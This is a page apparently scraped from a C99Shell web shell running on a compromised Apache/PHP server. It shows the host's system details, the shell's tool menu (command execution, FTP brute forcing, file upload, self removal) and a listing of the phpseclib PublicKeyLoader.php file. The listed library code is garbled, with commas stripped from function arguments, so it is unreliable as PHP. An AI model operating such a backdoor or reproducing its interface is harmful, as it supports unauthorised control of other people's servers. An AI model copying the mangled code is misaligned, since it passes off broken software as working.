!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/phpseclib/phpseclib/phpseclib/Crypt/   drwxr-xr-x
Free 13.24 GB of 57.97 GB (22.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PublicKeyLoader.php (2.76 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * PublicKeyLoader
 *
 * Returns a PublicKey or PrivateKey object.
 *
 * @category  Crypt
 * @package   PublicKeyLoader
 * @author    Jim Wigginton <terrafrost@php.net>
 * @copyright 2009 Jim Wigginton
 * @license   http://www.opensource.org/licenses/mit-license.html  MIT License
 * @link      http://phpseclib.sourceforge.net
 */

namespace phpseclib3\Crypt;

use 
phpseclib3\Crypt\Common\AsymmetricKey;
use 
phpseclib3\Crypt\Common\PublicKey;
use 
phpseclib3\Crypt\Common\PrivateKey;
use 
phpseclib3\Exception\NoKeyLoadedException;
use 
phpseclib3\File\X509;

/**
 * PublicKeyLoader
 *
 * @package Common
 * @author  Jim Wigginton <terrafrost@php.net>
 * @access  public
 */
abstract class PublicKeyLoader
{
    
/**
     * Loads a public or private key
     *
     * @return AsymmetricKey
     * @access public
     * @param string|array $key
     * @param string $password optional
     */
    
public static function load($key$password false)
    {
        try {
            return 
EC::load($key$password);
        } catch (
NoKeyLoadedException $e) {}

        try {
            return 
RSA::load($key$password);
        } catch (
NoKeyLoadedException $e) {}

        try {
            return 
DSA::load($key$password);
        } catch (
NoKeyLoadedException $e) {}

        try {
            
$x509 = new X509();
            
$x509->loadX509($key);
            
$key $x509->getPublicKey();
            if (
$key) {
                return 
$key;
            }
        } catch (
\Exception $e) {}

        throw new 
NoKeyLoadedException('Unable to read key');
    }

    
/**
     * Loads a private key
     *
     * @return PrivateKey
     * @access public
     * @param string|array $key
     * @param string $password optional
     */
    
public function loadPrivateKey($key$password false)
    {
        
$key self::load($key$password);
        if (!
$key instanceof PrivateKey) {
            throw new 
NoKeyLoadedException('The key that was loaded was not a private key');
        }
        return 
$key;
    }

    
/**
     * Loads a public key
     *
     * @return PublicKey
     * @access public
     * @param string|array $key
     */
    
public function loadPublicKey($key)
    {
        
$key self::load($key);
        if (!
$key instanceof PublicKey) {
            throw new 
NoKeyLoadedException('The key that was loaded was not a public key');
        }
        return 
$key;
    }

    
/**
     * Loads parameters
     *
     * @return AsymmetricKey
     * @access public
     * @param string|array $key
     */
    
public function loadParameters($key)
    {
        
$key self::load($key);
        if (!
$key instanceof PrivateKey && !$key instanceof PublicKey) {
            throw new 
NoKeyLoadedException('The key that was loaded was not a parameter');
        }
        return 
$key;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.01 ]--